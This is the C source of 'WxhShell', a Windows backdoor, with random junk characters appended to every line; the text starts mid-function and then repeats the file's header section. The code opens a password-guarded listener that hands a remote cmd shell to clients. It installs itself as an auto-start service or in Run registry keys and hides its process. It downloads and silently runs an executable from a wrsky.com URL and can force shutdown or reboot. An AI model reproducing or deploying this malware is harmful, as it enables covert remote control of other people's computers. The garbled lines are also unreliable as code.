    break; wJ#fmQXKJ5  
    } WqQAt{W/<  
  // 关机 tgmG#b*  
  case 'd': { RW| LL@r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eaLR-+vEB  
    if(Boot(SHUTDOWN)) RhwqAok|lj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1~u5BE7O  
    else { 2kMBe%  
    closesocket(wsh); n^vL9n_N  
    ExitThread(0); S:!gj2q9|  
    } c#o(y6  
    break; 3j<:g%5  
    } {l/j?1Dxq  
  // 获取shell ab"6]%_  
  case 's': { u@QP<[f  
    CmdShell(wsh); ,liFo.kT8%  
    closesocket(wsh); w _zUA'n+  
    ExitThread(0); X*ZTn 7<  
    break; Ja1[vO"YgP  
  } ;k1 \-  
  // 退出 {2jetX`@h  
  case 'x': { <X@XbM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n-ZOe]3  
    CloseIt(wsh); bu[PQsT  
    break; t!}QG"ma  
    } #?=?<"*j  
  // 离开 yTt,/+I%gJ  
  case 'q': { }E[u" @}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;QYUiR  
    closesocket(wsh); 0_nY70B  
    WSACleanup(); Tx+!D'>  
    exit(1); D*7JE  
    break; Y)~Y;;/G  
        } Y:o\qr!Y  
  } %DyukUJ  
  } >fZ N?>`  
Ek'~i  
  // 提示信息 +=.>9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^d6}rtG  
} YY{0WWua  
  } %Xe#'qNq)  
Std?p{ i  
  return; FXLY*eRk  
} TpnJm%9`)t  
Ug :3)q[O  
// shell模块句柄 _FpZc ?=  
int CmdShell(SOCKET sock) 8+}yf.`  
{ RbOEXH*]  
STARTUPINFO si; {tS^Q*F  
ZeroMemory(&si,sizeof(si)); "&$ [@c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^:krfXT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Iz%Jty  
PROCESS_INFORMATION ProcessInfo; d7, ZpHt  
char cmdline[]="cmd"; Hlh`d N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (RXOv"''=  
  return 0; WG~|sLg  
} hY*ylzr83  
qKt*<KGeY  
// 自身启动模式 kHWW\?O  
int StartFromService(void) 2EO WbN}M  
{ O_v8R7 {  
typedef struct PhUG}94  
{ uGXN ciEp`  
  DWORD ExitStatus; ] o!r K<  
  DWORD PebBaseAddress; nK!yu?mS  
  DWORD AffinityMask; 8|]r>L$Wk  
  DWORD BasePriority; o7 :~C]  
  ULONG UniqueProcessId; RN, 5>.w  
  ULONG InheritedFromUniqueProcessId; ShP&ss  
}   PROCESS_BASIC_INFORMATION; X283.?  
\,n|V3#G  
PROCNTQSIP NtQueryInformationProcess; T[?wbYfW  
Uz4!O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,Yp+&&p.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8m prK`p  
&*Sgyk o`  
  HANDLE             hProcess; 3VI[*b  
  PROCESS_BASIC_INFORMATION pbi; S['rfD>9  
f`;y "ba  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i}tBB~]  
  if(NULL == hInst ) return 0; TTYM!+T  
X mmb^2I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,(&p "O":  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xX !`0T7Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %w$\v"^_Y  
D,3Kx ^  
  if (!NtQueryInformationProcess) return 0; @Sr{6g*I  
{th=MldJ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pA%}CmrMq  
  if(!hProcess) return 0; @p$Nw.{'  
61aU~w11a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L'Yg$9Vz  
|]M|I X8 o  
  CloseHandle(hProcess); kVmR v.zZ  
Yg<L pjq5X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &gxWdG}qx]  
if(hProcess==NULL) return 0; B|f =hlY  
mBwM=LAZ  
HMODULE hMod; _YK66cS3E/  
char procName[255]; ~vbyX  
unsigned long cbNeeded; 9 HiH6f^5  
3BZa}Q_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7 I$~E  
'9ki~jtf=  
  CloseHandle(hProcess); *+ i1m `6Q  
Y:?cWO  
if(strstr(procName,"services")) return 1; // 以服务启动 K]{x0A  
@%^JB  
  return 0; // 注册表启动 #NyfE|MKBC  
} DXa!"ZU  
i-jrF6&  
// 主模块 ,<CFjtelO  
int StartWxhshell(LPSTR lpCmdLine) 6*aU^#Hz6  
{ =,Zkg(M  
  SOCKET wsl; hl/) 1sOIR  
BOOL val=TRUE; FHK{cE  
  int port=0; A3 uF 0A  
  struct sockaddr_in door; cb3Q{.-.#  
ZLGglT'EW>  
  if(wscfg.ws_autoins) Install(); R/WbcQ)  
Bs3M7z RG  
port=atoi(lpCmdLine); 6"L,#aKm^  
: MEB] }  
if(port<=0) port=wscfg.ws_port; QM) ob  
PY@BgL=/  
  WSADATA data; Dq~ \U&U\$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2JhE`EVH  
X T<SR]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "!B\c9q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gTQc=,3l3  
  door.sin_family = AF_INET; FKH_o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KY'x;\0 g  
  door.sin_port = htons(port); &v/>P1Z G  
KU=+ 1,Jf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 _b_O T  
closesocket(wsl); 3 ,f3^A  
return 1; xxQgX~'x  
} %HD0N&  
W]oILL"d  
  if(listen(wsl,2) == INVALID_SOCKET) {  8+,I(+  
closesocket(wsl); 47=YP0r?>T  
return 1; xG1(vn83gq  
} ri1;i= W  
  Wxhshell(wsl); Djr/!j  
  WSACleanup(); ,Dy9-o  
6pdek3pOCt  
return 0; m ##_U9O  
_B?Hw[cc  
} re x MS  
A7I{Le  
// 以NT服务方式启动 ;U&~tpd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [y&uc  
{ <dKHZ4  
DWORD   status = 0; ]p@q.P  
  DWORD   specificError = 0xfffffff; 4[ *G  
+7 mUX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ELZ@0,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @x@wo9<Fc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y M,UM>  
  serviceStatus.dwWin32ExitCode     = 0; bcYGkvGbO  
  serviceStatus.dwServiceSpecificExitCode = 0; _)Ad%LPsd7  
  serviceStatus.dwCheckPoint       = 0; ^Z+p_;J$p  
  serviceStatus.dwWaitHint       = 0; w y&yK*w  
GO UO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "!R*f $  
  if (hServiceStatusHandle==0) return; aQj"FUL  
pHzl/b8  
status = GetLastError(); v[\GhVb  
  if (status!=NO_ERROR) {yFMY?6rf  
{ ?BR Z){)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i3vg7V.  
    serviceStatus.dwCheckPoint       = 0; yS.)l  
    serviceStatus.dwWaitHint       = 0; tI<6TE'!p#  
    serviceStatus.dwWin32ExitCode     = status; N *,[(q  
    serviceStatus.dwServiceSpecificExitCode = specificError; m>^vr7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T[- %b9h>  
    return; ;qs^+  
  } i 2 ='>  
p+;;01Z+_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5Y>fVq{U?;  
  serviceStatus.dwCheckPoint       = 0; b(~#CHg  
  serviceStatus.dwWaitHint       = 0; -HvJ&O.V$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o]B2^Yq;x  
} 6Z5$cR_vC7  
TMD*-wYr  
// 处理NT服务事件,比如:启动、停止 ao"Z%#Jb~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -FS! v^  
{ F8&L'@m9>  
switch(fdwControl) @o6!  
{ Ch)E:Dvq6  
case SERVICE_CONTROL_STOP: "8 ?6;!,  
  serviceStatus.dwWin32ExitCode = 0; z+c'-!e/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }O\g<ke:u  
  serviceStatus.dwCheckPoint   = 0; n T7]PhJ  
  serviceStatus.dwWaitHint     = 0; j>3Fwg9V  
  { bsc#Oq]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [W99}bi$  
  } g,B@*2Uj  
  return; } x Kv N  
case SERVICE_CONTROL_PAUSE: em2Tet  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JyePI:B&)j  
  break; L7"<a2J  
case SERVICE_CONTROL_CONTINUE: C'PHbo:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lNMJcl3  
  break; s$~H{za  
case SERVICE_CONTROL_INTERROGATE: 65GC7 >[  
  break; G+t zp&G@  
}; "?6R"Vk?:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}<z_i5/C.  
} y\:,.cZ+TQ  
p7L6~IN  
// 标准应用程序主函数 Jw^h<z/Ux  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |!J_3*6$>*  
{ 4'.] -u  
]d*O>Pm  
// 获取操作系统版本 p  ~)\!  
OsIsNt=GetOsVer(); KVHK~Y-G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1pqYB]*u_  
P0rdGf 5T  
  // 从命令行安装 *-'`Ea  
  if(strpbrk(lpCmdLine,"iI")) Install(); oJZ0{^  
0 ke1KKy/d  
  // 下载执行文件 tPDB'S:&3  
if(wscfg.ws_downexe) { X^C $|:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]j.!   
  WinExec(wscfg.ws_filenam,SW_HIDE); }mS Q!"f:  
} ltHuN;C\  
n.A*(@noe  
if(!OsIsNt) { xOZvQ\%  
// 如果时win9x,隐藏进程并且设置为注册表启动 xM>dv5<E  
HideProc(); _he~Y2zFz  
StartWxhshell(lpCmdLine); xEB 4oQ5  
} v%QC p  
else (A;HB@)[A  
  if(StartFromService()) eTt{wn;6  
  // 以服务方式启动 5;[0Q  
  StartServiceCtrlDispatcher(DispatchTable); R=W$3Ue~,  
else w$749jGx  
  // 普通方式启动 _X)]/A%@  
  StartWxhshell(lpCmdLine); vIFx'S~D  
3ep L'My$  
return 0; z]sQ3"cmX  
} tAb3ejCo?  
O>ZJOKe  
th=45y"C  
hG3RZN#ejq  
=========================================== <4;f?e u  
]xhH:kW4  
2Mu(GUe;  
eoPoG C  
mW)"~sA  
C |rl",&  
" QYWl`Yqf  
l> >BeZ  
#include <stdio.h> &jDRRT3  
#include <string.h> 1'5 !")r  
#include <windows.h> * =O@D2g0  
#include <winsock2.h> gKb5W094@  
#include <winsvc.h> l_x>.'a  
#include <urlmon.h> h#8 {fr)6  
s'@@q  
#pragma comment (lib, "Ws2_32.lib") ]j(Ld\:L  
#pragma comment (lib, "urlmon.lib") dRTpGz  
<pUc( tPoz  
#define MAX_USER   100 // 最大客户端连接数 6.4,Qae9E  
#define BUF_SOCK   200 // sock buffer )sapUnqrlR  
#define KEY_BUFF   255 // 输入 buffer s_,&"->  
<zu)=W'R]  
#define REBOOT     0   // 重启 ,-BZsZ0~  
#define SHUTDOWN   1   // 关机 9a.[>4}  
<7X+-%yb;  
#define DEF_PORT   5000 // 监听端口 Rh7=,=u  
Zn'y"@%t[  
#define REG_LEN     16   // 注册表键长度 xX])IZ D  
#define SVC_LEN     80   // NT服务名长度 ~0n9In%  
j0jam:.p  
// 从dll定义API PvdR)ZE m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fw;Y)y=O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ..^,*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i)e)FhEY6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O11.wLNH  
v aaZ  
// wxhshell配置信息 upH%-)%'  
struct WSCFG { '?!2h'  
  int ws_port;         // 监听端口 ;"GI~p2~7  
  char ws_passstr[REG_LEN]; // 口令 Y'%_--  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^F1zkIE  
  char ws_regname[REG_LEN]; // 注册表键名 mH3{<^Z6  
  char ws_svcname[REG_LEN]; // 服务名 GgjBLe=C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6d/b*,4[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fmq^AnKd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FkT % -I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4HDQj]z/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dzMI5fA<_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4^B:Q9B)  
B6vmBmN  
}; ';7|H|,F  
8 _[f#s`)  
// default Wxhshell configuration Qod2m$>wp}  
struct WSCFG wscfg={DEF_PORT, c[0$8F>  
    "xuhuanlingzhe", z'X_ s.9F  
    1, :ui1]its4  
    "Wxhshell", N:/$N@"Ge  
    "Wxhshell", r^6v o6^  
            "WxhShell Service", +NEP*mk  
    "Wrsky Windows CmdShell Service", &On0)G3Rc  
    "Please Input Your Password: ", P^LOrLmo8  
  1, j|WaWnl=  
  "http://www.wrsky.com/wxhshell.exe", ,@ Cru=  
  "Wxhshell.exe" $RSVN?  
    }; rQ$A|GJL  
JGD{cr[S  
// 消息定义模块 !ZV#~t:)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  g^E n6n)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aa1XY&G"!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y<.F/iaH  
char *msg_ws_ext="\n\rExit."; +=@Z5eu  
char *msg_ws_end="\n\rQuit."; `ionMTZY  
char *msg_ws_boot="\n\rReboot..."; ?-'Q-\j  
char *msg_ws_poff="\n\rShutdown..."; tg5jS]O  
char *msg_ws_down="\n\rSave to "; \>/:@4oK  
V2]S{!p}k  
char *msg_ws_err="\n\rErr!"; Tm^zo Vi  
char *msg_ws_ok="\n\rOK!"; AjANuyUaP  
^NLKX5Q  
char ExeFile[MAX_PATH]; x{*!"a>  
int nUser = 0; 9e :E% 2  
HANDLE handles[MAX_USER]; (*fsv g~  
int OsIsNt; Nmsb  
aLXA9?  
SERVICE_STATUS       serviceStatus; e@,,;YO#4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cmN0ya  
L{fP_DIa  
// 函数声明 |_2ANWHz  
int Install(void); nZ7v9o9  
int Uninstall(void); M7Hk54U +t  
int DownloadFile(char *sURL, SOCKET wsh); W\<#`0tUt  
int Boot(int flag); O x$|ZEh  
void HideProc(void); =3SL& :8  
int GetOsVer(void); 83l)o$S  
int Wxhshell(SOCKET wsl); 8rp-Xi W  
void TalkWithClient(void *cs); = xX^  
int CmdShell(SOCKET sock); BK d(  
int StartFromService(void); \ bT]?.si  
int StartWxhshell(LPSTR lpCmdLine); n"K7@[d  
Z ''P5B;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YJ16vb9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e<^4F%jSK  
kyo ,yD  
// 数据结构和表定义 V!U[N.&$  
SERVICE_TABLE_ENTRY DispatchTable[] = lIFU7g  
{ A^p $~e\)  
{wscfg.ws_svcname, NTServiceMain}, <7] z'  
{NULL, NULL} nG%j4r ;  
}; VD#^Xy4% r  
!d0@^JbM"  
// 自我安装 Xp?Z;$r$  
int Install(void) YKc{P"'/ |  
{ \!V6` @0KC  
  char svExeFile[MAX_PATH];  xBG1up<z  
  HKEY key; "\=_- `  
  strcpy(svExeFile,ExeFile); :A{-^qd(  
!yI)3;$*  
// 如果是win9x系统,修改注册表设为自启动 TQ2Tt "  
if(!OsIsNt) { 8c|IGC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \%Smp2K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M{4_BQ4$  
  RegCloseKey(key); G<dXJ ]\\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v/haUPWF\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |B`tRq  
  RegCloseKey(key); ?GC0dN  
  return 0; j5)qF1W,  
    } O46/[{p+8  
  } Elq8WtS  
} 4QVd{  
else { M1M]]fT0ME  
-)I_+N  
// 如果是NT以上系统,安装为系统服务 ,/ : )FV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t3XMQ']  
if (schSCManager!=0) zLn#p]  
{ =% JDo  
  SC_HANDLE schService = CreateService )yK!qu  
  ( I^|bQ3sor  
  schSCManager, 09?<K)_G  
  wscfg.ws_svcname, ?hu 9c  
  wscfg.ws_svcdisp, O&s6blD11  
  SERVICE_ALL_ACCESS, X>6a@$MxP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _# F'rl6'  
  SERVICE_AUTO_START, z} \9/`  
  SERVICE_ERROR_NORMAL, rN~`4mZ  
  svExeFile, By_Ui6:D  
  NULL,  e.GzGX  
  NULL, D?'y)](  
  NULL, h5gXYmk  
  NULL, 9 $S,P|  
  NULL !jW32$YTR  
  ); "%]dC {  
  if (schService!=0) w g1pt1 `  
  { HlSuhbi'@  
  CloseServiceHandle(schService); wm8x1+P  
  CloseServiceHandle(schSCManager); "J1ar.li  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8dhY"&  
  strcat(svExeFile,wscfg.ws_svcname); .-AB o]hf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yi?&^nX@9,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B<RONQj_  
  RegCloseKey(key); Uk2q,2  
  return 0; Chup %F  
    } |@HdTGD  
  } B# fzMaC  
  CloseServiceHandle(schSCManager); 1X*T219o  
} K?je(t^  
} 9wAc&nl-Y  
\PONaRK|[z  
return 1; $(R) =4  
} bSghf"aN  
,lJ6"J\8.  
// 自我卸载 S8RB0^Q7  
int Uninstall(void) &3f.78a  
{ jQ)>XOok  
  HKEY key; 5!zvoX9  
\G@6jn1G(  
if(!OsIsNt) { SA1/U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G~L?q~b  
  RegDeleteValue(key,wscfg.ws_regname); `RcNqPY#S  
  RegCloseKey(key); RX1{?*r]Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U;GoC$b}|  
  RegDeleteValue(key,wscfg.ws_regname); (<Xdj^v  
  RegCloseKey(key); C(|5,P#5  
  return 0; +_dYfux  
  } \xxVDr.  
} i 8Xz  
} ~a%hRJg  
else { `yZZP   
YoJ'=z,e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !f-o,RJ  
if (schSCManager!=0) u&XkbPZ%4c  
{ |q2lTbJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {UBQ?7.jE  
  if (schService!=0) Bedjw =B  
  { ]P$DAi   
  if(DeleteService(schService)!=0) { <\g&%c,   
  CloseServiceHandle(schService); rb'GveW[  
  CloseServiceHandle(schSCManager); jSYg\ Z5!  
  return 0; Ib8i#DV  
  } R TUNha^<T  
  CloseServiceHandle(schService); \q|PHl  
  } qo- F9u1J  
  CloseServiceHandle(schSCManager); f](uc(8Z  
} ^&H=dYcV>/  
} A'1AU:d  
R?~h7 d  
return 1; Z3>xpw G  
} ~+egu89'TU  
BpG'e-2  
// 从指定url下载文件 FT>~ES]cQd  
int DownloadFile(char *sURL, SOCKET wsh) aX)./  
{ JvL'gJ$70  
  HRESULT hr; )K>@$6H +2  
char seps[]= "/"; DS}rFU  
char *token; ;Ph)BY<  
char *file; Lu39eO6  
char myURL[MAX_PATH]; \%Rta$ O?S  
char myFILE[MAX_PATH]; F ^t?*   
,l .U^d6>  
strcpy(myURL,sURL); MW~B[%/  
  token=strtok(myURL,seps); 9[{>JRm.  
  while(token!=NULL) `L#?eQ{  
  { 2^#UO=ct  
    file=token; ;sR6dT)  
  token=strtok(NULL,seps); i:M*L< +  
  } .00=U;H%`  
Jav2A6a  
GetCurrentDirectory(MAX_PATH,myFILE); RIEv*2_O  
strcat(myFILE, "\\"); mv*T=N8fC  
strcat(myFILE, file); kj!7|1i2  
  send(wsh,myFILE,strlen(myFILE),0); Au} ;z6k  
send(wsh,"...",3,0); ^;$a_$ |  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]Y&)98  
  if(hr==S_OK) }K80G~O2<  
return 0; ^Lmc%y  
else C'czXZtn  
return 1; nQ17E{^pR  
<yI,cM<c  
} C%_  
(}1v^~FXj  
// 系统电源模块 `m 3QT3B  
int Boot(int flag) ob0 8xGj  
{ V<2fPDZ  
  HANDLE hToken; w;@25= |  
  TOKEN_PRIVILEGES tkp; /rxltF3  
Wt9iL  
  if(OsIsNt) { (:-Jl"&R@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @" 0tW:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :~3{oZGX&  
    tkp.PrivilegeCount = 1; 3zTE4pHzu+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fj-pNl6Gf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2"+x(Ax  
if(flag==REBOOT) { =ym  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [AX"ne# M*  
  return 0; [TK? P0  
} /witDu7  
else { I\rZk9F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ::OFW@dS  
  return 0; 9;]wF8h  
} 5Z6-R}uXk  
  } MkW1FjdP  
  else { ,+/9K)X  
if(flag==REBOOT) { [Ba2b: l6v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;eW'}&|LV  
  return 0; r*N~. tFo  
} i=1 }lk q  
else { K@jSr*\'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 60,-\h  
  return 0; A?Nn>xF9X  
} WiNr866nB  
} J[!x%8m  
i6F:C &.  
return 1; oB0 8  
} ] `B,L*m6  
N$%61GiulT  
// win9x进程隐藏模块 >{ECyh;  
void HideProc(void) i9;27tT~<  
{ }*.:Hv"  
j!S1Y0CV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w`j*W$82  
  if ( hKernel != NULL ) eMN+qkvH  
  { Wg` +u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L7Qo-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]D{c4)\7C|  
    FreeLibrary(hKernel); EItxRHV5  
  } 4ypRyO  
Kunle~Ro  
return; &$m=^  
} P(pd0,%i;a  
]HyHz9QkL  
// 获取操作系统版本 G}P)vfcH  
int GetOsVer(void) MOP]\ypn  
{ $v:gBlj%"  
  OSVERSIONINFO winfo; abICoP1zQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,Um5S6 Z  
  GetVersionEx(&winfo); TZh\#dp4l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6; 5)/q  
  return 1; n9kd2[s|  
  else |7QVMFZ  
  return 0; E 4='m  
} Z[#I"-Q~:  
'f-   
// 客户端句柄模块 N b3I%r  
int Wxhshell(SOCKET wsl) ~># LOT `  
{ Ql~#((K  
  SOCKET wsh; wi\z>'R  
  struct sockaddr_in client; Y_[g_  
  DWORD myID; 068WlF cWV  
y _'eyR@)  
  while(nUser<MAX_USER) C~ZE95g  
{ e86Aqehle  
  int nSize=sizeof(client); 'bB>$E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mx/h?}u;  
  if(wsh==INVALID_SOCKET) return 1; $yDW.pt  
|.b%rVu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j`2B}@2  
if(handles[nUser]==0) MV0<^/p|  
  closesocket(wsh); 4ef*9|^x#  
else a9#W9eP  
  nUser++; 20rN,@2<  
  } n> MD\ZS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N@cMM1  
5mI?pfm  
  return 0; 6Cl+KcJH  
} v]WH8GI  
!~K=#"T  
// 关闭 socket \R86;9ov  
void CloseIt(SOCKET wsh) @Pxw hlxa  
{ DH\wDQ  
closesocket(wsh); kF+ZW%6N  
nUser--; ra]!4Kd'  
ExitThread(0); iD%qy/I/  
} cy1\u2x_`  
A#Xj]^-*  
// 客户端请求句柄 D^,\cZbY  
void TalkWithClient(void *cs) =QrA0kQR  
{ Rr+qg t;f5  
=LXvlt'Q34  
  SOCKET wsh=(SOCKET)cs; PqT"jOF]n  
  char pwd[SVC_LEN]; 0fnZR$PB  
  char cmd[KEY_BUFF]; }  c{Fa&  
char chr[1]; =a?a@+  
int i,j; ':,>eL#+uV  
X,>(Y8  
  while (nUser < MAX_USER) { U:qF/%w  
?N4A9W9  
if(wscfg.ws_passstr) { ]ddHA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  LsQs:O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $!a?i@  
  //ZeroMemory(pwd,KEY_BUFF); wX-RQ[2X  
      i=0; myD{sE2A  
  while(i<SVC_LEN) { 1 h<fJzh  
'To<T  
  // 设置超时 mYX56,b}5  
  fd_set FdRead; j: <t  
  struct timeval TimeOut; q^u1z|'Z  
  FD_ZERO(&FdRead); Lb!r(o>8Cb  
  FD_SET(wsh,&FdRead); dO+kPC  
  TimeOut.tv_sec=8; Tv`_n2J`2  
  TimeOut.tv_usec=0; /r-8T>m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xC)7eQn/R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w'd.;  
GSQfg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7. %f01/i  
  pwd=chr[0]; -<O JqB  
  if(chr[0]==0xd || chr[0]==0xa) { >[K0=nA  
  pwd=0; mDZ=Due1  
  break; (Ar?QwP9>  
  } ~Y% : 3  
  i++; ,MRvuw0P  
    } * !X4&#xP  
,SAbC*nq  
  // 如果是非法用户,关闭 socket Y\.DQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xYmdCf@H  
} B9wp*:.  
'w}p[(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cq gJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pNuqT*  
V R"8Di&)  
while(1) { . /Y&\<  
m+H%g"Zj  
  ZeroMemory(cmd,KEY_BUFF); zgK;4 22$m  
Pfm*<,'x"[  
      // 自动支持客户端 telnet标准   )eECOfmnZ  
  j=0; 0X.TF  
  while(j<KEY_BUFF) { n9DbiL1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~+<<bzY  
  cmd[j]=chr[0]; g+.0c=G(  
  if(chr[0]==0xa || chr[0]==0xd) { 7 xUE,)?  
  cmd[j]=0; R^w}o,/  
  break; N9pwWg&<+  
  } &1=g A.ZR  
  j++; t{~@I  
    } k'x #t(  
D 0  
  // 下载文件 HQl~Dh0DJ  
  if(strstr(cmd,"http://")) { I:nI6gF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A&NqQ V,  
